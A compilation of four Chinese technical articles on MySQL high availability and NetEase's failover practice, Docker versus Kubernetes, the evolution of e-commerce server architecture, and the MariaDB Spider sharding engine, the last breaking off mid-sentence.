MySQL高可用主要涉及两个方面,一是客户端如何切换,如何自动failover,二是多个MySQL节点之间如何做数据同步。业界MySQL高可用的解决方案有很多,总结起来有几类:从客户端自动切换的角度来看主要有两类:一类是基于HA同步软件的MySQL高可用,用户通过VIP访问数据库,然后第三方组件监控MySQL的状态,控制VIP的漂移。还有一类是基于API调用的MySQL高可用,把MySQL主从状态维护在客户端,应用程序可以通过API调用控制主从切换,进行数据同步。 MySQL多节点的数据同步方案也有多种,最常用的是基于binlog的数据同步,其次还有基于共享存储的数据同步,以及第三方自己实现的数据同步协议(如Galera)。 1、基于HA同步软件实现的高可用方案 如图所示,基于HA同步软件的MySQL高可用主要是通过VIP作为对外的访问入口,正常情况下VIP绑定在Master上,当Master出现故障后,可以将VIP切换漂移到Slave上。从而实现了一个故障failover的过程。这种基于VIP的高可用方案,最常用的数据同步方式是使用MySQL原生的binlog复制方式,当然,在成本允许的情况下,也可以选择利用SAN之类的共享存储解决方案。我们这边重点介绍的还是binlog复制或者其他软件层次的数据同步方式。 基于HA同步软件的高可用方式的主要特点包括: 结构简单、容易管理; 不支持多写、standby属于备机; 不保证数据一致性; 入侵性小,对用户透明。 2、MHA(Master High Availabitliy) 下面,我们来介绍几种典型的MySQL HA同步软件。在业界应用最为广泛,技术最为成熟的HA同步软件之一是MHA。MHA全称是Master High Availability,是一种一主多从的数据库高可用解决方案。他的特点是在保障高可用自切换的前提下,最大限度的保障主从数据的一致性。 我们先来看下MHA的架构图: 一次完整MHA故障切换流程如下: 保存故障的master节点的binlog日志; Manager查找最新更新的slave节点; 应用差异的relay log日志到其他的slave; 在slave节点上应用从master保存的binlog日志; 提升一个slave为新的master; 使其他的slave连接新的master进行复制。 3、MMM(Master-Master Replication Manager for MySQL) 除了MHA以外,还有一个老牌的MySQL自动切换套件MMM。 与MHA相比,MMM是基于主主复制的故障切换。也就是不支持从多个slave中选择最新的一个,而是只能切换到特定的主主复制从节点。 4、基于API调用的MySQL高可用 刚才介绍的两种MySQL高可用解决方案,主要都是基于VIP切换的,优点是对应用程序没有入侵,但是缺点是不够灵活,而且系统的可靠性取决于HA软件本身的可靠性。如VIP通知产生问题,或者keepalive进程自己挂了,都可能导致切换出现问题。除了这种解决方案,还有一种是在客户端实现的MySQL高可用 - 基于API调用的MySQL高可用。也就是JDBC或者其他数据库驱动可以自主选择MySQL节点。这种实现方案可能使用的不是特别广泛,但是也有它自身的应用场景,它有如下特点: 架构较重,运维相对复杂 使用灵活,有一定开发成本 支持数据分片、分库分表、读写分离等高级特性 HA-JDBC 就是一种典型的基于API调用的MySQL高可用方案,它可以在应用程序中配置多个MySQL地址,由HA-JDBC实现选主/屏蔽故障节点以及多个应用程序之间的连接状态通知。HA-JDBC可以实现如下功能: 基本的failover 读写分离 节点状态通知 负载均衡 数据同步(先写主,然后同时写多个从节点,如果主写失败,则重新选主,如果从写失败,屏蔽从) 弱一致性。 刚才介绍的多是在客户端角度看到的MySQL高可用切换技术,下面再介绍几种MySQL数据同步的高可用解决方案,MySQL最经典的数据同步方案就是利用binlog进行数据同步,这种数据同步的优势是架构简单、易于管理,对主服务的性能影响相对较小。缺点是不能保障主从完全一致,而且只支持单写。下面介绍几种能保证主从完全一致,并且支持多节点写的方案。 5、Galera MySQL的高可用及特点 Galera架构如图所示: 客户端通过Galera Load Balancer访问数据库,提交的每个事务都会通过wsrep API 在所有服务器中执行,要不所有服务器都执行成功,要不就所有都回滚,保证所有服务的数据一致性,而且所有服务器同步实时更新。 wsrep API是一系列应用回调和复制调用库,来实现事务数据库同步写集(writeset)复制以及应用。其主要思想是在不出现冲突的背景下事务正常执行并持续到commit为止;当客户端发起commit命令时(此时仍然没有发生真正的commit),所有本事务内对数据库的改动与改动数据行的主键都会被放入一个写入集(writeset)中,该写入集随后会被复制到其他节点执行,在每个节点上使用主键进行冲突检测判断该写入集是否可以被应用,如果出现主键冲突,则其中一个事务会被回滚。 缺点及限制:由于同一个事务需要在集群的多台机器上执行,因此网络传输及并发执行会导致性能上有一定的消耗。所有机器上都存储着相同的数据,全冗余。若一台机器既作为主服务器,又作为备份服务器,出现乐观锁导致rollback的概率会增大,编写程序时要小心。不支持的SQL:LOCK / UNLOCK TABLES / GET_LOCK(), RELEASE_LOCK()…不支持XA Transaction。目前基于Galera Cluster的实现方案有三种:Galera Cluster for MySQL、Percona XtraDB Cluster、MariaDB Galera Cluster。 6、MySQL Group Replication MySQL Group Replication是16年 MySQL 5.7官方推出的多节点数据同步解决方案,它也支持多节点写和强一致性。在架构上它与Galera相似,但是多节点事务一致性提交是基于paxos来实现的,性能更高。可以预见MySQL Group Replication,这类基于强一致性协议的MySQL数据同步方案,是MySQL高可用的下一个研究热点,目前腾讯、阿里均有类似的方案推出。 MySQL Group Replication中的Replication-group就是一组节点,每个节点都可以独立执行事务,读写事务会在group内的其它节点进行协调之后再commit。因此,当一个事务准备提交时,会自动在group内进行原子性的广播,告知其他节点变更了什么内容/执行了什么事务。基于Paxos协议使得事务在每一个节点上都保持着同样顺序执行,这意味着每一个节点都以同样的顺序,接收到了同样的事务日志,所以每一个节点以同样的顺序重演了这些事务日志,最终整个group保持了完全一致的状态。 MySQL Group Replication仅支持InnoDB表,并且每张表一定要有一个主键,用于做冲突检测;必须打开GTID特性,二进制日志格式必须设置为ROW。这是使用MGR的一些限制。 二、MySQL高可用在网易的实践 1、分布式数据库高可用实践 首先是分布式数据库方面的。由于OLTP的业务特性和业务量大的特点,分布式数据库在网易有广泛的应用,下面我们简单介绍下网易的分布式数据库架构以及重点介绍下其高可用解决方案。 DDB的组织架构如上图所示,DBN(MySQL)负责实际的数据存储与读写提供。管理服务器负责数据库表、用户权限、数据分布路由的维护以及DBN状态的监控与管理。除此之外DDB最核心的模块是被称之为DBI的数据库驱动,它是一个类jdbc驱动,一方面可以与管理服务器交互,获取分布式数据库的表结构与分布路由;另一方面可以解析用户发过来的SQL语句,转换成适用于分布式场景的sql直接发送给DBN节点,并且将DBN返回的结果进行聚合或者排序并最终返回给应用程序。正是由于DBN这一系列的改写与聚合动作,才能使得应用程序可以像访问一个简单的关系型数据库那样去访问DDB这样一个分布式数据库。 管理服务器的高可用主要是基于分离持久化信息到sysdb中实现的,也就是管理服务器本身是一个无状态的服务,可以部署多个,短暂的故障也不会影响DBI到DBN节点的正常数据读取。而sysdb本身是个MySQL节点,它的高可用可以用经典的MySQL高可用方案解决。 DBN的高可用也可以使用MySQL原生的高可用方式,比如基于VIP的高可用。但是使用分布式数据库做高可用的优势就是有一个管理服务器的角色维护数据路由,因此只要可以根据当前的节点的状态更新数据路由就可以做到一个自动的failover的过程。具体到DDB这个场景,我们引入了一个DDBSwitch高可用切换工具,这个工具可以监控DBN状态,维护DBN主从关系。当主DBN存在异常时,DDBSwitch工具会检测到节点异常,并且触发管理服务器更新DBN列表,管理服务器会通知所有客户端的DBI更新本地的DBN列表,切换缓存中的路由,从而完成了一次完整的切换。除了最基本的故障切换,DDBSwitch还可以通过逐步放开DBN连接池的方式控制新切入节点的流量,防止新上线的节点由于之前堆积的请求而瞬间被压垮。 目前网易杭州这边的项目,绝大多数的分布式数据库都是使用的DDB,因此有比较多的线上实践,事实也证明DDB这套高可用架构是稳定可靠的。目前像网易云的项目,比如视频云、云信后端依赖的数据库都是DDB,可以做到数据库相关模块故障异常在30s内自动恢复。在减少人工运维成本的前提下,提高系统整体可靠性。 除了分布式数据库,网易也有少量的单节点MySQL。出于成本和易用性的考虑,我们没有选择MHA方案,而是配合keepalive使用自定义的脚步进行故障自切换与尽可能的保障可靠性。首先keepalive本身是一个多进程的程序,可靠性和成熟度很高,不止可以做无状态的nginx的高可用代理,还能通过配合第三方的脚本来做类似MySQL这种有状态服务的高可用。 2、基于keepalive的MySQL高可用改造 网易的这套keepalive的MySQL高可用方案采用的也是经典的MySQL主主复制的架构,然后配合自研的切换脚本进行自定义故障判定以及升主的一致性检查功能。一次完整的故障切换包含如下几个步骤:首先利用Master上的keepalive定时调用故障检查check脚本,发现异常后进行3次重试,重试后MySQL依然无法正常服务则触发切换。切换不是采用keepalive传统的降低权值的方式进行的,而是直接stop keepalive来触发slave抢占VIP,升级为主。升级为主后slave keepalive会调用升主检查脚本,判定relay log应用完成后才放开写,关闭read only正式提供服务。 这套keepalive高可用解决方案有如下几个特点: 具备一致性检验功能(检查relay log是否应用完),配合杭研改进的semisync 功能,可以保障数据的强一致; 具备防网络抖动功能,不会再网络不稳定的情况下频繁切换; 原主恢复后不自动升级为master功能(MySQL复制延迟); 自定义故障判定规则,贴近业务的高可用; 简单易用,方便管理,可以人工介入。 Keepalived 使用注意事项 现象: keepalived主从切换后,网关/交换机上的arp表没有立刻更新VIP对应备用 LVS 的mac,或者arp包被交换机drop掉,导致备机无法被访问。 解决: arping -I eth1 -c 5 -s VIP GATEWAY garp_master_refresh 选项 (Release 1.2.10) Keepalived 不抢占的实现 Keepalived自带nopreempt参数实现不抢占功能,但当新主服务再挂掉后由于原主带nopreempt参数,即使原主优先级高仍无法完成切换。故现在通过自定义脚本实现类似功能(sudo /etc/init.d/keepalived stop),备机节点脚本只有当自身 MySQL可用且主机MySQL不可用时才触发切换。 Keepalive这套方案在网易内部主要用在一些负载比较小,但是对稳定性和可靠性要求比较高的数据库,比如openresty等云计算服务的元数据库,易信朋友圈数据库,也已经在线上稳定运行了3,4年的时间,可以做到秒级别的切换。 今天我们主要介绍了MySQL高可用几种常见的解决方案,以及网易在这方面的一些应用实践,由于时间关系,可能有些技术细节只是粗略的带过,感兴趣的同学欢迎留言交流。 原文发布时间为:2017-05-08 本文来自云栖社区合作伙伴DBAplus
Docker的估值已经超过10亿美元,成为容器引擎的标准,但是谷歌的Kubernetes在业务流程引擎中也越来越火。我经常被问到,Kubernetes是Docker的威胁吗? 许多人认为容器中的价值是在业务流程层中的,这就是为什么他们认为Kubernetes是Docker的直接威胁。我不同意,因为Docker不是容器公司而是一家平台公司。理解这一点,就必须了解Docker的历史。 PaaS vs CaaS Docker曾经名为dotCloud,是一家PaaS公司。所有PaaS解决方案都可以利用封装下的容器使其能够执行复杂的任务,例如实时迁移,以便不用停机就可以部署软件。 四年前,dotCloud开放了其基础容器技术称为Docker。几乎立刻一个大社区就产生了,dotCloud从一个纯粹的PaaS公司转向名为Docker的容器公司。 接下来的两年Docker融资了1.9亿美元并普及了容器即服务(CaaS)的概念。其CTO,Solomon Hykes从PaaS经验中认识到,PaaS使用的最大挑战之一是开发人员往往过于规范。CaaS背后的理念是,客户可以集中化与他们相关的技术组件,并在Docker产品和服务的帮助下,组装一个由容器化组件组成的非规范性平台。这对彼此来说都是最好的,开发人员从基础IT管道抽象出来,而不是必须选择PaaS供应商的技术和方法。转向CaaS使Docker成为一家平台公司,而不是容器公司,容器只是一种手段。 业务流程 一旦客户接受容器的概念,他们需要一个解决方案来调度和管理容器。编排工具就是这个解决方案。 最常见的编排工具是Kubernetes,Mesos和Docker Swarm。 Kubernetes是目前市场上最成熟和最具可扩展性的解决方案,占有最大的市场份额。这三个编排工具都是开源的,客户只需要付费即可使用。 Docker和Kubernetes没办法放在一起比较,因为你不能将业务流程工具与一个平台进行比较,你只能比较他们的用户。Kubernetes是Google多年来一直使用的基础技术,两年前才向公众发布,它用于众多大型全球部署。而Docker Swarm处于起步阶段,并于去年6月才在DockerCon 2016大会上宣布了业务流程功能。Swarm的一个优点是与Docker平台中的许多安全功能集成,例如密钥管理。对于没有大规模要求的客户更喜欢用Swarm,因为它可以与Docker平台更好地整合。 容器领域的价值在哪里? 迄今为止在业务流程领域中领头是Kubernetes。这导致许多人认为Kubernetes是Docker的威胁,DockerCon在其刚结束的2017大会上发布了Project Moby,它用于组装专门的容器系统。 Moby项目使客户能够即插即用自己喜欢的技术组件来定制自己的平台,编排只是平台的一层。 Docker并不关心他们的客户选择哪个业务流程工具,他们的工作是让客户轻松插入他们最喜欢的编排工具,无论是Swarm还是其它的工具。 实际上Docker是商品化的编排引擎,真正的价值在于平台,那才是钱。 所以Docker和Kubernetes的比较没什么意义,Docker真正应该和VMWare、CloudFoundry等平台竞争。 我也不认为Docker和Google是对手。过去这两家公司肯定有争议,去年Google的Kelsey Hightower和Docker的Solomon Hykes就在Twitter上有一番争论。我相信,Kelsey对Docker缺乏开放性的批评,有助于推动Docker将Kubernetes作为Docker平台上业务流程层的选择。这样Google变得不再是容器生态系统中的敌人,而更多的是合作伙伴。 Docker目前投入更多在支持服务上,越多人使用,其收入就越多,如果说Kubernetes是最受欢迎的编排引擎,并是管理容器化应用程序的极佳选择,那么它也更能让Docker公司投入更多的Docker引擎在生产环境中。 在我看来,Kubernetes不是Docker的终结者而是推动者。更进一步来说,业务流程工具只是Docker平台的商品。所有的业务流程引擎都会驱动容器的发展,对Docker来说重要的是容器使用率的增加。业务流程引擎是Docker平台的关键组成部分,它使他们成为朋友,而不是敌人。 原文发布时间为:2017-05-05 本文来自云栖社区合作伙伴DBAplus
大型电商项目的服务端架构 我们以淘宝架构为例,了解下大型电商项目的服务端架构是怎样的,如图所示: 上面是一些安全体系系统,如数据安全体系、应用安全体系、前端安全体系等。 中间是业务运营服务系统,如会员服务、商品服务、店铺服务、交易服务等。 还有共享业务,如分布式数据层、数据分析服务、配置服务、数据搜索服务等。 最下面是中间件服务,如MQS即队列服务,OCS即缓存服务等。 图中也有一些看不到,例如高可用的体现、实现双机房容灾和异地机房单元化部署,为淘宝业务提供稳定、高效和易于维护的基础架构支撑。 这是一个含金量非常高的架构,也是一个非常复杂而庞大的架构。当然这个架构不是一天两天演进而成,也不是一上来就设计并开发成这么高大上的。 这边我想说的是,小型公司要怎么做架构呢?对很多创业公司而言,很难在初期就预估到流量十倍、百倍以及千倍以后的网站架构会是一个怎样的状况。同时,如果系统初期就设计一个千万级并发的流量架构,也很难有公司可以支撑这个成本。 因此,一个大型服务系统都是从一步一步走过来的,在每个阶段,找到对应该阶段网站架构所面临的问题,然后在不断解决这些问题,在这个过程中整个架构会一直演进。 一、单服务器-俗称all in one 从一个小网站说起。一台服务器也就足够了。文件服务器,数据库,还有应用都部署在一台机器,俗称ALL IN ONE。 随着我们用户越来越多,访问越来越大,硬盘、CPU、内存等都开始吃紧,一台服务器已经满足不了。这时看到下一步演进。 二、数据服务与应用服务分离 我们将数据服务和应用服务分离,给应用服务器配置更好的CPU和内存,给数据服务器配置更好更大的硬盘。 分离之后提高一定的可用性,例如Files Server挂了,我们还是可以操作应用和数据库等。 随着访问QPS越来越高,降低接口访问时间,提高服务性能和并发,成为了我们下一个目标,同时发现有很多业务数据不需要每次都从数据库获取。 三、使用缓存 包括本地缓存、远程缓存、远程分布式缓存。 因为 80% 的业务访问都集中在 20% 的数据上,也就是我们经常说的28法则。如果能将这部分数据缓存下来,性能一下子就上来了。而缓存又分为两种:本地缓存和远程缓存缓存,以及远程分布式缓存,我们这里面的远程缓存图上画的是分布式的缓存集群(Cluster)。 思考的点 具有哪种业务特点数据使用缓存? 具有哪种业务特点的数据使用本地缓存? 具有哪种务特点的数据使用远程缓存? 分布式缓存在扩容时会碰到什么问题?如何解决?分布式缓存的算法都有哪几种?各有什么优缺点? 这个时候随着访问QPS的提高,服务器的处理能力会成为瓶颈。虽然可以通过购买更强大的硬件解决,但总会有上限,而且这个到后期成本就是指数级增长了,这时,我们需要服务器的集群来横向扩展,所以就必须加个新东西:负载均衡调度服务器。 四、使用负载均衡,进行服务器集群 增加了负载均衡、服务器集群之后,我们可以横向扩展服务器,解决了服务器处理能力的瓶颈。 思考的点 负载均衡的调度策略都有哪些? 各有什么优缺点? 各适合什么场景? 打个比方,我们有轮询、权重、地址散列,地址散列又分为原ip地址散列hash、目标ip地址散列hash,最少连接,加权最少连接,还有继续升级的很多种策略......我们都来分析一下。 典型负载均衡策略分析 轮询:优点-实现简单,缺点-不考虑每台服务器处理能力 权重:优点-考虑了服务器处理能力的不同 地址散列:优点-能实现同一个用户访问同一个服务器 最少连接:优点-使集群中各个服务器负载更加均匀 加权最少连接:在最少连接的基础上,为每台服务器加上权值。算法为(活动连接数*256+非活动连接数)/权重,计算出来的值小的服务器优先被选择。 继续引出问题的场景 我们登录时登录了A服务器,session信息存储到A服务器上了,假设我们使用的负载均衡策略是ip hash,那么登录信息还可以从A服务器上访问,但这个有可能造成某些服务器压力过大,某些服务器又没有什么压力,这时压力过大的机器(包括网卡带宽)有可能成为瓶颈,并且请求不够分散。 这时候我们使用轮询或者最小连接负载均衡策略,就导致了第一次访问A服务器,第二次可能访问到B服务器,这时存储在A服务器上的session信息在B服务器上读取不到。 Session管理-Session Sticky粘滞会话 打个比方,如果我们每次吃饭都要保证用的是自己的碗筷,只要我们在一家饭店里存着自己的碗筷,并且每次去这家饭店吃饭就好了。 对于同一个连接中的数据包,负载均衡会将其转发至后端固定的服务器进行处理。 解决了我们session共享的问题,但是它有什么缺点呢? 一台服务器运行的服务挂掉,或者重启,上面的 session 都没了。 负载均衡器成了有状态的机器,为以后实现容灾造成了羁绊。 Session管理-Session 复制 就像我们在所有的饭店里都存一份自己的碗筷。这样随意去哪一家饭店吃饭都OK,不适合做大规模集群,适合机器不多的情况。 解决了我们session共享的问题,但是它有什么缺点呢? 应用服务器间带宽问题,因为需要不断同步session数据。 大量用户在线时,服务器占用内存过多。 Session管理-基于Cookie 打个比方,就是我们每次去饭店吃饭,都带着自己的碗筷去。 解决了我们session共享的问题,但是它有什么缺点呢? cookie 的长度限制。 cookie存于浏览器,安全性是一个问题。 Session管理-Session 服务器 打个比方,就是我们的碗筷都存在了一个庞大的橱柜里,我们去任何一家饭店吃饭,都可以从橱柜中拿到属于我们自己的碗筷。 解决了我们session共享的问题,这种方案需要思考哪些问题呢? 保证 session 服务器的可用性,session服务器单点如何解决? 我们在写应用时需要做调整存储session的业务逻辑。 打个比方,为了提高session server的可用性,我们可以继续给session server做集群。 五、中间总结 所以网站架构在遇到某些指标瓶颈、演进的过程中,都有哪些解决方案?它们都有什么优缺点?业务功能上如何取舍?如何做出选择?这个过程才是最重要的。 在解决了横向扩展应用服务器之后,我们继续回到目前的架构图: 数据库的读及写操作都还需要经过数据库。当用户量达到一定量,数据库将会成为瓶颈。又该如何解决呢? 六、数据库读写分离 使用数据库提供的热备功能,将所有的读操作引入slave 服务器,因为数据库的读写分离了,所以我们的应用程序也得做出相应的变化。我们实现了一个数据访问模块(图中的data access module),使上层写代码的人不知道读写分离的存在。这样多数据源读写分离就对业务代码没有了侵入。同时这里引出了代码层次的演变。 思考的点 如何支持多数据源? 如何封装对业务没有侵入? 如何使用目前业务的ORM框架完成主从读写分离?是否需要更4. 换ORM模型?ORM模型之间各有什么优缺点? 如何取舍? 数据库读写分离会遇到如下问题: 在master和slave复制的时候,考虑延时问题、数据库的支持、复制条件的支持。 当为了提高可用性,将数据库分机房后,跨机房传输同步数据,这个更是问题。 应用对于数据源的路由问题。 七、使用反向代理和CDN加速网站响应 使用 CDN 可以很好地解决不同的地区的访问速度问题,反向代理则在服务器机房中缓存用户资源。 访问量越来越大,我们文件服务器也出现了瓶颈。 八、分布式文件系统 思考的点 分布式文件系统如何不影响已部署在线上的业务访问?不能让某个图片突然访问不到呀。 是否需要业务部门清洗数据? 是否需要重新做域名解析? 这时数据库又出现了瓶颈。 九、数据垂直拆分 数据库专库专用,如图Products、Users、Deal库。解决写数据时并发量大的问题。 思考的点 跨业务的事务如何解决?使用分布式事务、去掉事务或不追求强事务。 应用的配置项多了。 如何跨库进行数据的join操作? 这个时候,某个业务的数据表的数据量或者更新量达到了单个数据库的瓶颈。 十、数据水平拆分 如图,我们把User拆成了User1和User2,将同一个表的数据拆分到两个数据库中,解决了单数据库的瓶颈。 思考的点 水平拆分的策略都有哪些?各有什么优缺点? 水平拆分的时候如何清洗数据? SQL的路由问题,需要知道某个User在哪个数据库上。 主键的策略会有不同。 假设系统中需要查询2017年4月份已经下单过的用户名的明细,而这些用户分布在user1和user2上,我们后台运营系统在展示时如何分页? 这个时候,公司对外部做了流量导入,我们应用中的搜索量飙升,继续演进。 十一、拆分搜索引擎 使用搜索引擎,解决数据查询问题。部分场景可使用NoSQL提高性能,开发数据统一访问模块,解决上层应用开发的数据源问题。如图data access module 可以访问数据库、搜索引擎、NoSQL。 总结 本文只是一个举例演示,各个服务的技术架构需要根据自己业务特点进行优化和演进,所以大家的过程也不完全相同。 最后的这个示例也不是完美的,例如负载均衡还是一个单点,也需要集群,我们这个架构也只是冰山一角。因为在架构演进的过程中,还要考虑系统的安全性、数据分析、监控、反作弊等,同时往后继续发展,也要考虑到SOA架构、服务化、消息队列、任务调度、多机房等。 从以上对架构演进的讲解,也可以看出来,所有大型项目的架构和代码,都是一步一步根据实际的业务场景和发展情况发展演变而来,在不同的阶段,会使用的不同的技术,不同的架构来解决实际的问题,所以说,高大上的项目技术架构和开发设计实现不是一蹴而就的。 正是所谓的万丈高楼平地起。在架构演进的过程中,小到核心模块代码,大到核心架构,都会不断演进的,这个过程值得我们去深入学习和思考。 原文发布时间为:2017-05-14 本文来自云栖社区合作伙伴DBAplus
Spider是为MySQL/MariaDB开发的一个特殊引擎,具有内嵌分片功能。现在它已经被集成到MariaDB10.0及以上版本中,作为MariaDB的一个新的主要特性。Spider的主要功能是将数据分散到多个后端节点,它的作用类似于一个代理。 本文主要分成四个部分来介绍Spider: 表链接:利用Spider,多个后端节点的表看起来就像存在于单一实例上一样。 事务:Spider实现了XA事务/单机事务接口,支持XA事务,以便在多个数据节点之间同步或者更新数据。 插拔式引擎:Spider作为MySQL/MariaDB的一个插拔式引擎,实现handler类定义的表访问方法。 读写流程:受MySQL Server层驱动,执行访问数据的动作。 一、表链接 Spider的表链接的技术参考ISO/IEC 9075-9:2008 SQL/MED标准。利用Spider的这个特性,你可以像操作本地MariaDB实例的表一样来操作远程MariaDB实例上的表,也可以像操作本地MariaDB实例的表一样来操作分布在多个MariaDB实例上的表。 当创建一个Spider存储引擎的表时,该表指向远程服务器上对应的一张表或者多个实例上的表,就像UNIX/Linux中的软链接一样。远程服务器上的表可以是任何存储引擎的表。在执行CREATE TABLE命令创建Spider引擎的表时,需要添加COMMENT或CONNECTION语法来指定远程服务器的地址等信息。例如,在远程服务器(该服务器是数据节点,假设IP为192.168.0.1)上创建了如下一张表: CREATE TABLE s(id INT NOT NULL AUTO_INCREMENT, code VARHCAR(10), PRIMARY KEY(id)); 在Spider节点创建一张表指向该表: CREATE TABLE s(id INT NOT NULL AUTO_INCREMENT, code VARHCAR(10), PRIMARY KEY(id)) ENGINE=SPIDER COMMENT ‘host “192.168.0.1”,user “user1”, password “pwd1”, port “3307”’ 在Spider节点,表字段定义可以忽略。Spider第一次访问表的时候,如果发现没有表字段定义,会从后端节点拉取相关元数据,然后缓存在本地。 Spider的系统表spider_tables记录了各个数据分片的位置信息,类似于编程语言中指针作用。该系统表可以便利Spider跨节点的join操作:访问数据所在的机器,然后把数据拉取到本地进行join操作;如果进行join操作字段不是分片字段,那么需要广播SQL语句将数据拉取到Spider节点进行join操作。 Spider_tables类似图1所示。 图1. Spider表链接 二、事务 Spider分别针对单机事务与XA事务实现了相应的操作事务的方法。图2列出了部分实现的方法。 图2. Spider部分实现的事务接口 上述方法的主要实现是向后端节点发送消息,有些阶段同时需要执行记录系统表的行为。Spider依赖后端数据节点保证事务的持久性以及隔离性。它只负责开启事务,以及在适当的时机发送提交或者回滚事务的命令。如果单机事务涉及多个数据节点,Spider需要将相应的连接保存在队列中。在事务提交或者回滚的时候,逐个发送相应的命令。 Spider参照分布式事务DTP/XA模型实现了分布式XA事务(见图3)。在这个模型中,存在RM(Resource Manager,资源管理器)、TM(Transaction Manager, 事务管理器)以及AP(Application, 应用程序)三种角色。AP通过RM API来操作和管理资源,通过TM接口开启/终止/结束事务。RM与TM之间需要实现XA接口。XA接口定义了两阶段提交的必要步骤,以及RM与TM之间需要进行的交互。Spider扮演的是TM角色,而后端的数据节点扮演的是RM的角色。 图3. 分布式DTP/XA模型 为了使用分布式XA事务,业界定义的XA命令如下: XA START 'trx-id'; //开启XA事务 do actual work; //实际的查询执行语句 XA END 'trx-id'; //XA事务结束 XA PREPARE 'trx-id'; //预提交 XA COMMIT 'trx-id'; //提交 Spider会在系统表spider_xa中记录XA事务的状态,同时在另外一张系统表spider_xa_members中记录参与该XA事务的节点,以便进行操作。 在Spider中,XA事务分别有四种状态,如图4所示,对应于NOT YET,PREPAED,ROLLBACK以及COMMITTED。Spider在开始PREPARE阶段之际会在系统表spider_xa中标记该XA事务的状态为NOT YET。在所有数据节点都接收到PREPARE消息以后,该XA事务的状态进入到PREPARED阶段。假如在PREPARE阶段,某一个数据节点发生故障,那么Spider会回滚该事务。相应地,事务的状态变成ROLLBACK。 最后,如果所有参与事务的节点都返回PREPARE OK,该事务进入提交阶段。图5给出了对应上述命令的每一个步骤,Spider向后端节点发送的消息。 图4. Spider XA事务状态转换 图5. 执行XA事务,Spider与两个后端节点的交互 从图5可以看到Spider向后端节点发送XA START命令时会设置会话级别的事务特性,同时将XA事务ID发送到后端节点。因为XA事务ID由三部分组成,Spider会将这三个部分的解析出来,然后拼接成对应的字符串发送到后端节点。为了节省网络开销,Spider将XA END与XA PREPARE命令合并起来一起发送。也就是在这个阶段初始,Spider在系统表里面记录事务的状态。如果所有的RM都返回OK,那么Spider进入PREPARED状态,准备提交事务。否则,事务进入到回滚状态。 三、插拔式引擎 MySQL最强大的功能之一,以及区别于其它关系型数据库系统的一个主要的特色是不同的表能够采用不同的存储引擎。每一个存储引擎都有其优缺点,用户能够根据自己的需要定制MySQL的存储引擎。存储引擎能够控制在哪里以及如何存放、获取数据。它代表了下面物理层提供的抽象逻辑接口,也是数据库执行实际I/O操作的地方。这是一个组件体系结构。在这个结构中,handler类定义了存储引擎提供的接口和功能。因为所有的存储引擎从基类handler继承而来,所以它们能够提供相同的功能。 总的来说,handler类和handlerton结构在整个体系结构中扮演了中间层的角色。你所编写的存储引擎只有满足了handler的要求后,才能顺利插入到运行的MySQL服务器中。所有的网络连接、安全认证、解析和优化由MySQL服务器本身完成,与存储引擎无关。 Spider作为MySQL的一个可插拔引擎,实现了handler类定义的相应的存取方法。Spider本身并不存放数据,而是类似一个代理的功能将访问请求路由到后端的数据节点。Spider提供了两种途径访问后端节点存储的数据。如图6所示,Spider可以遵循MySQL传统的查询处理流程来访问数据,也开发了自有的一套来加速数据访问。在传统的查询处理方式下,SQL查询请求经过查询解析、查询重写、查询优化等步骤。按照生成的查询执行计划,Spider从后端节点拉取数据,交给MySQL服务器处理。Spider在这种查询处理框架之下的一个缺点是不能很好地利用后端节点可并行化特性,同时需要对SQL查询进行两次解析,带来的性能损耗问题比较严重。 在我们的测试中,性能损耗约50%左右。基于这个原因,为了加速聚集、统计等查询,Spider开发团队提供了DirectSQL方式执行查询。DirectSQL的原理类似于Map Reduce方案,将查询直接下发到后端节点,无需在MySQL服务器层进行解析(Map阶段);后端节点将结果返回给Spider,由Spider合并结果集。(Reduce阶段)。这个方式很好地利用后端节点可并行处理查询的特点,消除重复解析SQL语句的行为。 图6. MySQL体系下的Spider 上面已经谈到,Spider本身并不存储数据,因此需要将数据访问请求转换成其它方式,例如Handler、Handler Socket以及SQL方式。前面两种访问方式更像是一种NoSQL的数据访问方式,允许查询绕过SQL layer层。Spider允许后端的数据节点可以是不同的数据库系统,通过2PC保证事务提交的原子性。 四、读写流程 为了更清楚地了解Spider的读写流程,我们有必要研究一下数据库系统的查询执行模型,以及MySQL的插拔式引擎如何跟这个模型对接的。 数据库系统基本都采用迭代器模型处理查询,也叫volcano查询执行引擎(发明这个词的学者大概是因为查询执行计划树看起来像一座火山,如图7)。执行计划树的上层节点通过get_next方法驱动子节点获取一条元组,子节点递归调用。在叶子节点也就是基本表将数据返回。 这个模型的一个好处就是实现起来很优雅,同时数据流与控制流结合在一起方便程序的调试。这个模型的缺点是函数的大量调用使得进程/线程上下文切换频繁,程序的局部性受到损害。因此,后来针对OLAP场景,采用了向量查询执行模型来减少进程上下文的切换以及保证保证高速缓存的命中率。 再次以图7为例子,图中的SQL语句的功能是查询一个部门的平均薪资。假如在职工表EMP的员工ID字段Dno上存在索引,MySQL在Server层针对该查询语句生成的查询计划如下:顺序扫描部门表,通过索引访问职工表,然后在两表join操作之后进行投影操作。下一个阶段为分组排序操作。上层的操作算子(例如join),驱动子节点调用get_next方法(表扫描方法)获取一条元组。底层操作算子(表访问方法,handler接口定义)将数据返回。至此,我们可以总结一下MySQL体系的工作原理:查询执行计划由MySQL Server层生成,存储引擎受执行计划驱动而访问表。MySQL的handler已经定义好表的访问方法,实现了这些访问方法的存储引擎就可以作为MySQL的插件式引擎而存在。 下面我们对Spider的读写流程结合Server层代码进行分析。 图7. 查询计划树示例 1、SELECT操作 上面提到Spider的作用类似一个proxy,本身并不存储数据。因此Spider处理SELECT语句(UPDATE与DELETE类似)首先需要根据查询解析的信息生成一个SELECT语句,发送到查询涉及的后端节点,将数据从远端拉到本地,然后进行处理。函数spider_db_append_select_columns根据查询涉及的读集以及写集获取相应的字段,构造一个SQL语句从后端节点拉取数据到本地。如果涉及多个分片,spider将从不同实例获取过来的结果集存放在不同的结果集spider_db_result中。类spider_db_fetch提供了fetch_next, current_row等方法供上层方法调用。Server层调用get_next方法驱动引擎层获取下一条数据。 对于表访问方法,MySQL实现了索引扫描(ha_index_read)与随机访问(ha_rnd_next)的方法。对于切分为多个分片的DB,索引扫描需要借助优先队列。索引扫描需要区分是否是第一次调用该方法。如果是第一次调用该方法,需要遍历所有的分片读取一条记录,然后插入到优先队列。对应到Spider,如果第一次调用访问远端实例表的方法,需要生成SELECT语句,将远端实例的数据拉到本地存放。在使用索引扫描的情况,MySQL 为每个分片保留一个key buffer以及record buffer。server 利用队列头部的m_top_entry 